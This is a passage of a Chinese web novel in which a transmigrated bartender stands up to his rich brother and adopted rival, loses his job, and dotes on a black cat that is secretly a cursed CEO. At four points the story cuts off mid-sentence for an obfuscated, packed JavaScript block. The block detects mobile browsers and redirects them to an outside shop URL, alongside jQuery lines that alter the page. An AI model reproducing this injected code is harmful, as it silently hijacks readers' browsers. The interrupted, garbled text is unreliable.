沈南风不紧不慢解释道,“我今天要是为了攀高枝连自己视为家人的猫都弃之不顾,明天也能为了往上爬这样对阿姨的侄女,这样一个人,阿姨能放心让侄女跟他在一起?”
卖菜的阿姨嘴巴张得老大,憋了半天,好不容易才憋出来一句话,“不过是一只猫,哪里有你说的这么严重?”
“不是有句老话,叫细节处才能见真章?”沈南风莞尔,语气虽然温和,拒绝的意味却十分坚定,“但还是谢谢阿姨的关心。”
那卖菜的阿姨看看黑猫,再瞅瞅沈南风,最后无奈地叹了一口气。
这件事翻篇,又有人跟沈南风说起其他,气氛重新变得热络起来。
好不容易摆脱了这些热情的大叔大婶,沈南风将买好的东西放在航空舱上,抱着离开了菜市场。
拐过街角,身后的喧嚣逐渐消失,沈南风上扬的嘴角也一点点拉平。
但是通过航空舱的缝隙,对上黑猫担忧的眸子,他心蓦地一暖。
沈南风手指穿过航空舱的缝隙点了点黑猫的鼻尖,笑着承诺道,“球球你放心,我就算再落魄,只要还有一口气,哪怕去干保洁都不会吃软饭的。”
沈南风倒不是歧视家庭煮夫,只是从前的经历让他无法忍受寄人篱下看人脸色的生活,更别提需要放弃跟自己相依为命的猫才能得到这个机会。
从前他身不由己,只能眼睁睁看着自己想养的猫被丢弃,除了哀求和哭泣什么都做不了。
如今他不需要依附任何人,怎么能容忍再发生那种事?
黑猫看着青年熠熠生辉的眸子,爪垫微微张开,又收缩起来,身后的尾巴尖儿也轻轻翘了翘。
回到酒吧,赵茗已经离开了。
沈南风直接上了二楼,刚打开航空
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13735077|145108||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
舱,就听到楼下传来说话的声音。
他摸了摸黑猫的脑袋,将几个猫玩具放到床上,笑道,“球球,我先去忙了,你乖乖待在房间里,别乱跑。”
黑猫斜眼看他,仿佛在看一个傻子。
沈南风也不恼,捧着黑猫毛茸茸的小脸在它脑门上落下一吻,这才迈着轻快的步伐离开了房间。
黑猫呆呆地看着他离去的背影,半晌才回神。
它愤愤地挠了两下床垫,可下压的飞机耳和蜷缩起来的尾巴却暴露了心中的真实情绪。
离开房间后,沈南风深吸一口气,又切换成平时温柔可靠的形象。
下楼后,他先教酒吧其他员工调酒,又亲自示范了银耳雪梨汤的做法。
忙忙碌碌几小时,闹钟响起,提醒他到了晚饭时间,又做了一桌子菜,还特意给黑猫做了牛肉羹。
吃完饭,差不多到了营业时间,又是一番忙碌。
直到凌晨,收尾工作结束,沈南风才活动了一下僵硬的身体,回到自己的房间。
他照例先跟黑猫腻歪,然后洗漱。
出了浴室,沈南风并没有直接睡觉,而是翻找出来这段时间攒的小费,盘算还清医药费后,还要多久才能攒够钱出去租房找新工作。
“球球,这段时间先委屈你一下,你要是愿意,我不忙的时候可以带着你出去散散步。”沈南风将钱叠好,再次藏起来,笑眯眯对黑猫道,“如果可以,我想去郊区买一个带院子的小房子,种种地,养养鸡,自给自足,你也能随便撒欢儿,交很多新朋友哦~”
黑猫看着他兴致勃勃的样子,尾巴尖儿轻轻翘了翘。
虽然这段时间它一直在尝试各种变成人的办法,却始终没什么头绪。
但要是跟沈南风在一起,它又觉得当猫也挺不错。
一人一猫正美滋滋幻想着美好的未来,然而,不出意外,意外就要发生了。
“沈南风,你是不是疯了,竟然自甘堕落成这个样子,是不是诚心让我们沈家丢脸!”
这天晚上,沈南风像往常那边按照客人的需求调酒,结果一个愤怒的男声炸雷般响起,吓了众人一跳!
沈南风满脸困惑看过去,就见一个穿着高定黑西装,面容跟自己有七分相似的男人气势汹汹大步流星向自己走来。
“哥哥,南风哥哥肯定是有苦衷的,你别生气好不好?”男人身后小跑着追着个面容清秀的纤弱青年,他微微皱着眉,一副担忧又无奈的表情,谁见了都要说一句我见犹怜。
男人很快就来到吧台前,冷冷地看着沈南风,语气满是不屑和鄙夷,“他能有什么苦衷,不就是打定主意叫外人看笑话,然后让我们喊他回去?”
“南风哥哥那么善良,怎么可能做这种事,哥哥你肯定是误会他了!”柔弱青年抓着男人的手,还在继续求情。
“呵呵,他要是真善良,怎么可能那样欺负你?”男人话虽然是对身旁的人说的,那双鹰隼般锐利的眸子却死死盯着沈南风,仿佛要让他羞愧地低下头忏悔。
这边动静太大,不消片刻,全场的目光都聚集了过来。
就在众人好奇沈南风会如何应对时,他眨了眨眼,并没有搭理面前的两人,而是四下张望,似乎在寻找什么。
男人稍微和缓的脸色在他这样的举动下再次变得黑沉沉,声音也冷了几分,“沈南风,我就站在这里,你看不到啊,又要作什么妖?”
沈南风收回视线,满脸无辜,“还能找什么,当然是摄像机啊。”
男人眉头拧得死紧,“你找摄像机干嘛?”
“呃,难道你们不是想翻拍情深深雨濛濛,想试探一下素人的临场反应?”沈南风语气格外真诚,“虽然我对出演依萍没什么兴趣,不过你们这尓豪和梦萍演得倒挺逼真。”
他这话一出,酒吧里瞬间哄堂大笑。
4. 第 4 章
男人愣了好一会儿才反应过来沈南风什么意思,脸色变了几变,最后咬牙切齿呵斥道,“你在胡说八道什么!”
“我说的都是实话,有什么问题吗?”沈南风疑惑,“你们要不是戏瘾犯了,难不成是脑子有问题?”
男人,也就是沈博恒,沈家未来的继承人,从小被众星捧月长大,还是头一次被自己看不上的人这样嘲讽,瞬间气炸了,“沈南风,你自己不要脸还敢骂我脑子有问题,你是不是疯了?”
“我怎么不要脸了,我们这里是正经酒吧,又不是红灯区。”沈南风不耻下问,“我的工作是调酒师,不是陪人睡觉的,凭手艺赚钱,怎么就成了不要脸?”
“客人们过来就是喝喝酒放松一下,真有什么违法乱纪的事,警察局距离这里也就几百米,不会坐视不理的,您要是继续污蔑我的职业和工作的酒吧,我就要告您诽谤了。”
沈博恒看着沈南风笑盈盈但坚定的神情,丝毫不怀疑沈南风真的敢告他。
虽然依照沈家的权势背景,不至于造成多严重的后果,可要是让他圈子里那些人知道了,保不齐背后怎么笑话他。
想到那个画面,沈博恒只觉得气血上涌,憋了半天竟是憋不出来一句反驳的话。
沈南风还嫌不够,给了他最后一击,“再说了,这位先生,我跟你非亲非故,你到底是以什么身份对我指手画脚的?”
沈博恒眼睛猛地瞪圆了,表情凶恶得仿佛能吃人,“我是你大哥!”
沈南风莞尔,提醒道,“这位先生,我要是没记错,您不是说您只有一个弟弟,就是你身边的这位,君子一言,驷马难追,您这是想把自己说出来的话又咽回去?”
沈博恒身旁的青年,也就是原著中的假少爷沈佑,见沈博恒被沈南风气得想要拂袖而去,连忙开口打圆场,“南风哥哥,大哥当初说的不过是气话,你别往心里去,你要是有什么不满,咱们回家再说好不好,别让外人看了笑话。”
沈博恒听到这话,目光扫过周围看热闹的人,本来就黑得跟锅底似的脸更是阴沉得几乎能滴水。
沈南风看着这俩人一唱一和,没忍住,直接笑出了声。
“你笑什么?”沈博恒扭头看他。
“没什么,就是觉得你们兄弟俩挺有意思的,怪不得是一家人。”沈南风摆了摆手,然后真诚建议道,“你们要是实在觉得丢人,就回家慢慢表演兄友弟恭,我一个外人还是不掺和了吧,怪尴尬的。”
虽然回到沈家能够过上衣食无忧的生活,不用这样辛苦地赚钱。
但沈南风可没忘记原剧情里原主就是他穿来那天跳.楼没死成了植物人,消息传到沈家后,沈佑心脏病突然犯了,就是沈博恒签署协议,将原主的心脏移植给了沈佑。
沈佑唯一的短板被补齐,幸福地跟继承顾氏集团的未婚夫举办了世纪婚礼,在所有人的祝福中迎来了这本书的大团圆结局。
沈南风对当主角受心脏供体这件事没有半点兴趣,他现在是有猫的人,只想保全自己的小命,免得自己好不容易救回来的猫真的成了可怜巴巴的流浪猫,要在外面忍饥挨饿。
那画面只要想一下他心就揪起来了,甚至觉得哪怕自己到了十八层地狱都要爬上来!
沈博恒差点被沈南风这话气得直接蹦起来,他额角青筋直跳,一字一顿怒吼道,“沈!南!风!”
沈南风笑得云淡风轻,“这位先生,请您冷静一点,我耳朵很正常,您不用这么大声我也能听得到您的声音。”
沈博恒听着他一口一个“这位先生”一口一个“您”,只觉得阴阳怪气到了极点。
他胸膛剧烈起伏,后槽牙都快咬断了,“你非要这样气我是不是?”
“我说的每一句都是真心话。”沈南风歪了歪头,满脸无辜,“难不成这年头都不让人说实话了?”
沈博恒气得浑身哆嗦,声音也带着颤,“沈南风,你别敬酒不吃吃罚酒!”
沈南风突然想到曾经同事买的人工智障,有个经典台词让他们笑了很久,现在正好能用上。
他放下酒杯,露出一个公式化的礼貌微笑,“这位先生,您在说什么,我好像听不明白。”
“沈南风!”沈博恒捂着心口,这下真的快气厥过去了。
沈佑担心沈博恒气出个好歹,连忙扶住他摇摇欲坠的身体,关切地问道,“大哥,先别激动,稍微缓一缓。”
沈博恒做了好几个深呼吸,气成猪肝色的脸终于恢复了正常,但是余光瞥见神情温和却没有半点担忧之色的沈南风,血压又蹭蹭蹭往上涨。
“沈南风,当初是你自己任性,非要离家出走,我现在都跟佑佑来找你回去,你还拿什么乔?”沈博恒死死盯着沈南风,“难不成还要我们给你下跪,你才满意?”
沈南风听到这话,脑海中浮现他工作后亲爹试图把后妈的儿女塞给他让他接手的画面,猛地打了个哆嗦。
他露出一个尴尬又不失礼貌的微笑,摆了摆手,“道德绑架什么的还是不要了吧,怪丢人的。”
沈博恒看着沈南风就差把“你们不要脸我还要脸”这句话贴在脑门上,气得眼前一阵阵发黑,扶着吧台才能勉强站稳。
沈佑没想到沈博恒这么菜,忍了又忍,还是亲自上阵,一副委屈巴巴的样子,“南风哥哥,大哥也是为你好,关心则乱,你怎么能这样气他?”
“哎,有吗?”沈南风眨了眨眼,“我刚刚说的话不都挺正常的,哪句话气到这位先生了?”
“要不您提出来,我努力改正?”
沈佑还真的回想了一下方才两人的对话,然后悚然一惊。
以往被指责,沈南风总是会特别紧张,尝试解释,然后换来更严厉的训斥,最后难过得沉默,任凭别人将黑锅扣到他脑袋上。
今天却始终面带微笑,说出来的每一个字都有理有据,情绪没有半点起伏。
......就仿佛,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13735078|145108||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他完全不在乎他们了一样。
想到这个可能,沈佑莫名心慌,脸色也变得十分苍白。
沈南风看着自己面前的俩人,虽然有点不恰当,但这怎么不算一个唱红脸一个唱白脸?
他死死攥着拳头,四十五度仰望天花板,把这辈子悲伤的事都想了一遍,再加上完美的职业素养,才克制住没有笑出声。
沈南风毫不怀疑他要是真这样,沈博恒和沈佑一个高血压一个心脏病怕是得当场被被担架抬走。
至于他这个罪魁祸首,万一遇到个辣鸡的法官,比如说“不是你撞的人为什么要扶”那种,非要判他支付所有医药费另外还要赔偿精神损失费和误工费,那多冤啊?
沈南风觉得自己辛辛苦苦赚的钱,只有用在黑猫身上才不肉疼,哪儿能糟蹋在这对狗屎兄弟身上?
得亏沈博恒和沈佑不会读心术,否则知道沈南风心里是这样想的,高低得来个医院几日游。
“两位先生要是不消费,能不能挪一挪地儿?”沈南风轻咳一声,调整好心态,脸上再次扬起礼貌又疏离的营业微笑,“现在是工作时间,你们这样大喊大叫让我很为难,这件事要是传到老板那里,她肯定会扣我工资的,我赚钱不容易,家里还有个娇气的小祖宗要养,麻烦你们体谅一下,谢谢。”
沈南风这番话仿佛往只剩火星子的枯草堆里吹了一口气,沈博恒瞬间暴怒。
他正要发作,胳膊上却传来一阵刺痛。
沈博恒不耐烦地一扭头,就对上沈佑难看的脸色,他神情瞬间变了,“佑佑,你怎么了,哪里不舒服?”
沈佑却没回答沈博恒的问题,只死死盯着沈南风,“小祖宗是谁?是南风哥哥找的对象吗?”
他这话一出口,酒吧里不少人都竖起耳朵,等着沈南风的答案。
沈南风眉梢微挑,有些意外沈佑的关注点。
不过问他这个问题的人没有一百个也有八十个,因此他轻车熟路垂下眼帘,露出一个甜蜜又有些羞赧的笑容,像极了热恋中的毛头小子。
沈佑面上最后一丝血色褪去,捂住胸口,一副难受到极点的样子。
沈南风从原主记忆里没少看到相似的画面,知道沈佑就算真的心脏病犯了,也有主角光环加身,没这么容易死,因此毫不担心。
要不是酒吧里还有其他人,他真想掏出一把瓜子一边磕一边继续看好戏。
沈博恒被沈南风这混不吝的作态气得几乎七窍生烟,他虽然也想弄清楚沈南风嘴里的小祖宗到底是谁,但他更担心沈佑的身体状况,因此纠结片刻,恨恨地瞪了沈南风一眼,威胁道,“要是佑佑有什么三长两短——”
听到这烂大街的台词,沈南风终于憋不住,噗嗤一声笑了出来,接话道,“就让我给他陪葬?”
沈博恒:“......”
沈佑:“......”
酒吧里安静了几秒,炸开的笑声差点把天花板都给掀飞了!
5. 第 5 章
“不好意思,这位先生,现在是法治社会,如果我有罪,请让法律惩罚我,而不是活人陪葬。”沈南风语气那叫一个情真意切,“你这样做绝对会坐牢的。”
沈博恒那脸色就跟调色盘似的,红了又紫,紫了又黑,分外精彩。
沈南风突然觉得要是哪天沈博恒不当霸总了,去表演《说唱脸谱》肯定也能火遍大江南北。
看这变脸灵动的,要是唱“蓝脸的窦尔敦盗御马~红脸的关公战长沙~黄脸的典韦~白脸的曹操~黑脸的张飞叫喳喳~”肯定不用另外化妆。
他正想着要是把这个建议说给沈博恒听会不会挨打,真挨打了自己能不能趁机敲竹杠,毕竟是沈氏集团的继承人,医药费误工费精神损失费肯定不会吝啬。
结果沈博恒只是恶狠狠瞪了他一眼,扶着沈佑转身就走。
沈南风看着他们的背影,恍惚看到一堆粉色的毛爷爷也扑扇着翅膀一起飞走了。
他在酒吧一贯的形象都是温柔体贴、真诚善良,哪怕遇到客人撒酒疯或者追求未遂发脾气都能游刃有余安抚好,什么时候露出过这种悲伤的神情?
一时间,原先还被沈南风舌灿莲花直接把人气走惊讶到的客人们瞬间忘了他刚刚有多气人,心里只剩下同情与对沈博恒和沈佑的不忿。
而楼梯旁的柜子上,隐藏在阴影中的黑猫静静凝视着怅然若失的青年,不知怎的,脑海中突然浮现出一张有些相似神情的温婉面容。
顾西洲那个凤凰男爹在他外公去世后很快掌控了顾氏集团,坐稳位置后彻底不装了,直接搬到安置白月光初恋和私生子的别墅里一家三口相亲相爱。
从那之后,他那个恋爱脑妈便成日里以泪洗面,疯狂打电话哀求凤凰男爹回来。
顾西洲当时虽然只有几岁,从佣人口中得知前因后果,自然心疼亲妈,便承诺自己会努力成为对方的依靠,让她不要为了不值得的人伤心。
熟料他话还没说几句,就被女人狠狠推开。
顾西洲的头撞上茶几边缘,血当时就流了出来,他也直接疼晕了过去。
再醒来,就是医院。
凤凰男爹看他苏醒,松了一口气。
而导致他躺在病床上的罪魁祸首却紧紧盯着许久未见的丈夫,完全不在乎他的死活。
虽然最后男人还是不顾女人的苦苦哀求离开了医院,但这件事就像是打开潘多拉魔盒的钥匙,从那之后女人就各种折磨他,包括但不限于大冬天让他穿着单薄的衣服跪在雪地里导致高烧差点烧成傻子,逼着他吃会过敏的花生差一点就死了,甚至故意将他推下楼骨折躺了好几个月才能正常行走。
刚开始凤凰男爹还会过来探望一下,随着次数增多,也越来越不耐烦。
女人也变得越来越歇斯底里,可她舍不得也不敢怨恨丈夫,只觉得是顾西洲不够听话懂事才会让男人失望,去到小三和私生子那里。
于是,女人对他动辄打骂,将所有的愤怒和不满都发泄到他身上,由于那栋别墅里只有女人一个雇主,其他都是花钱请的佣人,他们为了保住高工资的工作不敢跟女主人对着来,只能装作没看到女人的暴行。
顾西洲这地狱一般的生活直到女人彻底崩溃自杀才结束。
理智告诉顾西洲不要在别人难过的时候凑上前,可看着沈南风失魂落魄的样子,又想到这一个多月相处的点点滴滴,身体还是控制不住地微微前倾。
黑猫烦躁地甩了甩尾巴,经过一番挣扎,它闭了闭眼,深吸一口气,还是跳下柜子,朝着吧台的方向走去。
沈南风好不容易收拾好心情,刚准备继续招揽客人,小腿突然被什么东西蹭了一下。
他吓了一跳,差点条件反射一脚踹过去!
好在他及时低头,发现是黑猫,这才避免了悲剧的发生。
沈南风捂着心口喘了两口气,好悬才缓过来。
黑猫这会儿也发现自己安慰人的举动有些冒失,它将脑袋扭向一边,不敢跟沈南风对视。
原本直立着的猫耳变成飞机耳的形状,本就紧绷的身体这下更是暗暗蓄力,稍有风吹草动,就能立刻躲避逃跑。
就在黑猫忐忑不安,甚至做好出去流浪的准备时,头顶传来一声充满无奈的叹息。
沈南风单膝跪地,轻轻揉了揉黑猫毛茸茸的小脑袋,嗔怪道,“不是让你乖乖待在房间里,怎么自己跑出来了?”
“以后不许这样吓我了,不然小猫猫会受伤的,知道吗?”
黑猫先是一愣,随即仰头,就撞进一双温柔又包容的琥珀色眸子里。
眼前这人先是被家人恶言恶语伤到,又被自己吓了一跳,明明可以顺势迁怒,却依旧微笑着安抚它。
黑猫觉得自己心口那个二十几年都没有愈合反复溃烂的伤口仿佛被人剜去腐肉,细心包扎,尽管没有一下子恢复如初,却有了好转的趋势。
沈南风被黑猫呆愣的模样可爱到,捧着那圆滚滚的毛毛脸在它脑袋上落下一吻,笑眯眯道,“不过球球从房间出来,没有乱跑,也没有捣乱,而是来找我,我超级开心哦~”
黑猫被他面上毫不遮掩的欢喜烫到,飞快转移视线。
它爪垫微微张开,又收缩起来,最终克制不住地在地上踩了踩。
“球球是待在房间无聊,想过来陪我吗?”沈南风见黑猫没有离开的意思,试探性问道。
黑猫还没忘记刚刚沈南风忧郁的模样,担心这人这是强颜欢笑,想了想,跳到吧台上,在边缘阴影处不起眼的地方趴了下来。
沈南风“哎”了一声,很是惊讶,“球球,你真的打算留在这里陪我吗?”
黑猫耳朵发烫,赧然地瞪了沈南风一眼,尾巴也用力甩动。
沈南风立刻明白了黑猫的意思,脸上瞬间绽放出灿烂的笑容,“我的天哪,球球,你到底是什么神仙小猫猫,我何德何能才遇到你,简直太幸运了!”
哪怕不是头一回被沈南风用这种惊喜又夸张的语气表示喜爱,黑猫还是不太适应。
外公去世前的记忆已经模糊不清,刻在脑子里的只剩女人的歇斯底里和各种折磨,还有女人去世后自己跟虚伪偏心的男人、口蜜腹剑的继母、心眼比蜂窝煤还多的私生子弟弟的各种斗智斗勇。
除此之外,聚集在他身边的人都怀着各种各样的目的,也会小心翼翼恭维他,但那都是假的,甚至会让人觉得可笑。
只有沈南
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13735079|145108||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
风的喜爱是纯粹的,不带有任何杂质,完全发自肺腑。
黑猫看着这般美好的少年,一股强烈的保护欲从心底深处蔓延开来。
沈南风轻轻抚摸着黑猫柔软顺滑的毛毛,只觉得心中因为沈博恒和沈佑闹腾产生的负面情绪逐渐消散,最后只剩幸福。
可余光瞥见吧台和橱柜里一堆易碎品,他还不忘叮嘱道,“球球,你能留在这里陪我,我超开心的,但是不能捣乱哦,这些杯子还有酒都好贵的,要是损坏太多,我怕是得一辈子都留在这里打白工了。”
黑猫:“......”
它抬起头,幽幽地扫了沈南风一眼,嫌弃之色溢于言表。
沈南风也不恼,乐呵呵道,“没办法,咱家就这条件,你体谅体谅?”
黑猫哼了一声,重新闭上眼睛,看似假寐,实则在考虑接下来该怎么办。
顾氏集团虽然跟沈氏集团主要经营方向不同,但某些投资却有重叠,因此在商场上交过几次手,清楚对方有多强势霸道。
今天在酒吧被气成这样,沈博恒必定不会善罢甘休,也不知道会怎么报复。
它要还是顾氏集团的掌舵人,完全能把沈南风护在羽翼之下,跟沈博恒硬碰硬也不带怕的。
......可它现在只是一只猫,还要靠沈南风养。
黑猫烦躁地甩了甩尾巴,不经意瞥见不远处正跟朋友打电话的一个男人,突然有了主意。
现在科技这么发达,他完全可以远程操控下属做事,从前又不是没有出国谈过生意,他不在的时候,公司也没倒闭。
至于人选......他还得仔细斟酌一下,别忙没帮上,反而把沈南风给搭进去。
那些瘪犊子都敢对它出手了,欺负沈南风这个被沈家扫地出门的不受宠小少爷不更手到擒来?
因着黑猫通体漆黑,酒吧里灯光又暗,它还躲在阴影处,过来吧台喝酒的客人完全没注意到它的存在。
沈南风声音不是很高,刚刚跟黑猫互动时又基本在吧台下面或者阴影处,没几个人看到。
方才那一幕太有戏剧性,看沈博恒和沈佑的穿着气度就知道不是普通人,不少人对沈南风的印象都从温柔体贴漂亮会调酒的调酒师变成了豪门在逃二少爷,没敢第一时间凑过来。
但看着沈南风跟往常那般整理着吧台上的东西,并没有因为身份被揭穿变得高高在上,本来就对沈南风感兴趣的人越发狂热,那些只被沈南风这个人吸引但是因为职业还在观望态度的也不矜持了,纷纷过来搭讪,生怕晚了一步这个香饽饽就会被别人抢走。
哪怕早有心理准备,真正面对这一切的时候,沈南风还是有些心累。
可余光瞥见黑暗中乖巧蹲坐的黑猫,他心中的烦闷瞬间散了大半。
无论这些人是出于什么目的接近他,只要他不同意,总至于众目睽睽之下强抢民男?
果然,跟人比起来,还是小猫猫更可爱。
黑猫似乎察觉到他的视线,直接来了一记王之蔑视。
沈南风突然想到一句至理名言:人会因为贫穷羞辱你,也因为富贵讨好你,但猫不会,因为不管你贫穷还是富贵,猫都一样看不起你。
6. 第 6 章
围在沈南风周围的人看到他突然笑得这么开心,还以为是他们哪句话起了效果,越发热情。
黑猫虽然之前一直待在房间里,但沈南风每次工作结束,口袋里都会有写着姓名和手机号的纸条或者名片,这会儿亲眼瞧见这么多人跟沈南风献殷勤,它本来就很臭的脸顿时更臭了。
要不是担心给沈南风带来麻烦,它真想直接蹦出去,用武力吓退那些狂蜂浪蝶!
好不容易熬到下班时间,送走所有客人,沈南风这才松了一口气。
......然后他又被店里其他员工给围住了。
“Devin,你真的是豪门在逃二少爷?”
“这还用说,那个西装男跟Devin这么像,怎么可能没有血缘关系?”
“Devin,你小子可真深藏不露,明明家世这么好,还装出这副舍不得花钱的样子,难不成是喜欢微服私访这一套?”
“我就说你怎么这么大方,不仅教我们调酒,还教我们怎么做甜品,少爷就是少爷,格局够大,不是我等庶民能比的!”
沈南风听着这些或酸溜溜或吹捧的言语,太阳穴突突直跳。
但他也知道这些人已经认定了他是离家出走的豪门阔少,不管他怎么解释都不会听,反而觉得他虚伪,因此他只是保持微笑跟这些人打着太极,不轻易承诺什么。
直到赵茗过来,让其他人去打扫卫生,沈南风这才得到了自由。
只是看着赵茗的脸色,沈南风就明白,自己这份工作怕是凉了。
果不其然,刚进休息室,赵茗掏出LV包里面的一叠文件,笑着晃了晃,“刚刚沈氏集团法务部找上我,说要高价收购我这家酒吧,但有一个要求,就是开除你。”
黑猫听到这话,眼神瞬间变得犀利起来。
别人不知道,它可是清楚自从沈南风来了这家酒吧,又是钻研调酒和甜品,又是培养其他员工,不知道花费了多少心力才让原本门可罗雀的酒吧变得繁华热闹。
而现在,就因为沈氏集团出高价买下这家酒吧,这眼里只有钱的女人就当真没有半点良心,直接卸磨杀驴,把沈南风给扫地出门了?
赵茗脊背一凉,下意识低头,就对上黑猫平静又凶狠地目光,有些意外地挑了下眉。
但没等她说些什么,沈南风先开口了,“我知道了,茗茗姐,他们有说必须让我今晚卷铺盖走人吗?”
赵茗没想到他会是这么个反应,仔细观察沈南风的神色,见他没有半分怨怼,笑道,“这个倒没有。”
“那我今晚收拾一下东西,明天就去找房子。”沈南风说完,又补充道,“等下我会把营业额算好,还跟以前一样,纸质账本一份,另一份电子版发给茗茗姐行不行?”
赵茗双手交叠,饶有兴致问道,“我为了钱开除你,不生气?”
黑猫瞬间从生气变成愤怒,要不是顾忌着沈南风,恨不得直接挠花这个专门往人肺管子戳的坏女人!
“这有什么好生气的?”沈南风倒是淡定,面上甚至带了几分笑意,“我之前说过,在我最艰难的时候,是茗茗姐伸出援手,不仅给我提供了住所,还给了我一份不错的工作,所以我真的很感激茗茗姐。”
“本来还担心今晚的事会影响到茗茗姐的生意,他们直接砸钱收购反而是好事。”
“茗茗姐要是还想开酒吧,完全能够拿着这些钱另外找地方开,从某方面来说,他们这也算变相帮我报恩了?”
饶是赵茗清楚沈南风的品性,也忍不住夸赞道,“你心态真好,换做旁人,怕是早就开骂了。”
沈南风忍俊不禁,“不至于。”
黑猫咬牙,圆滚滚的毛毛脸上写满了恨铁不成钢。
如果是它自己遇到这种事,不狠狠地从赵茗身上撕咬下一块肉就是好事,还感激个毛线?
“那你接下来有什么打算?”赵茗身体后仰,靠到沙发上,好整以暇问道。
“这段时间我攒了些钱,明天先去找房子安顿下来,然后再找一份工作。”沈南风想了想,又补充道,“为了避免麻烦,会去远一点的地方。”
“你心里有数就行。”赵茗点点头,直接起身,“事情交代完了,我先走了。”
“好。”沈南风将她送到酒吧门口,“茗茗姐路上小心,注意安全。”
黑猫菜刀眼死亡凝视,巴不得赵茗路上出事。
赵茗看着凶巴巴的黑猫,噗嗤一笑,“我刚刚就想问了,你今天怎么舍得放你家小祖宗出来了?”
沈南风被她这么一说,也低头看向全身上下每一个根毛毛都写满不爽的黑猫,笑容不自觉从脸上蔓延开来,“是球球自己出来的,医生说它身体恢复得不错,估计在房间待得有点闷,就想出来转转。”
赵茗看着沈南风这不值钱的样子,嘴角轻轻抽了抽,“得亏建国之后不能成精,不然我都以为这只猫会什么妖术,不然怎么能把你迷得这样神魂颠倒的。”
沈南风哭笑不得,黑猫却是心虚地移开视线,原本疯狂甩动的尾巴也紧张地环住jiojio。
赵茗只是随口一说,见黑猫这反应,顿时来了兴趣,她蹲到黑猫面前,语气中带了几分试探的意味,“喂,你该不会真的是什么猫妖吧?”
“来,变个人给我看看?”
黑猫:“......”
它倒是想变,可这不是变不了吗?
“哟,还挺凶。”赵茗轻笑,想揉揉黑猫的脑袋。
结果她手刚伸过去,黑猫右爪就抬了起来,弯刀般尖锐的指甲还在灯光下闪烁着寒光。
赵茗是个利益至上主义者,自然不会干赔本买卖,这会儿也能屈能伸地缩回手,并且迅速起身。
只是瞅着臭脸黑猫,她还是忍不住嘴贱一下,“我说Devin,你这猫这么凶,要是整租还好,跟人合租给人挠了,别辛辛苦苦赚的那点钱都搭到医药费上。”
黑猫闻言,动作一顿,收回右爪,扭头去看沈南风。
沈南风挠了挠头,表情也有些苦恼。
虽然他对黑猫的滤镜有一万米厚,坚信自家小祖宗不会无缘无故伤人,但
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13735080|145108||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
架不住别人主动招惹。
......就像赵茗刚刚那样。
思来想去半天,沈南风咬咬牙,道,“谢谢茗茗姐提醒,我尽量找个一室居的房子,这样球球也不用顾忌其他人,可以自由自在地活动。”
赵茗没想到沈南风会出这么个答案,嘴角微微抽搐,“我要是没记错,你手里那点钱估计没多少吧,明明可以跟人合租省点钱,为了一只猫每个月多出那么多开销,真的值得?”
沈南风看着黑猫,眼弧微弯,“我只恨自己没本事,要让球球跟着我过苦日子。”
黑猫呆呆地看着沈南风,只觉得自己快溺死在那双盈满了温柔与怜惜和自责的眸子里。
它耳朵变成飞机耳的形状,尾巴越发用力地圈住jiojio,整只猫恨不得缩成一团。
顾西洲原以为自己在这二十几年的摧残折磨算计中已经变成了一个冷心冷情的怪物,没有人会爱他,他也不会爱任何人,他只会不遗余力将那些落到自己身上的伤害百倍千倍地还回去。
可自从变成猫,被沈南风捡到,曾经引以为傲的资产与手段都化为虚无,自己甚至都不是什么名贵的品种,只是路边随处可见的土猫,沈南风却并没有因此轻视他、践踏他、把他当成出气筒随意打骂,反而对他千般迁就,万般怜惜。
顾西洲觉得就算他的心是石头做的,也该被捂热了。
赵茗看着沈南风那副恨不得把命都给黑猫的架势,无力扶额,“你就宠它吧!”
“我其实也没做什么,就是做了所有养猫的人应该做的事。”沈南风语气还带着些许遗憾,“就是现在能力有限,只能让球球受些委屈,等我将来有钱买房了,它也不用跟着我东奔西跑的,能安定下来。”
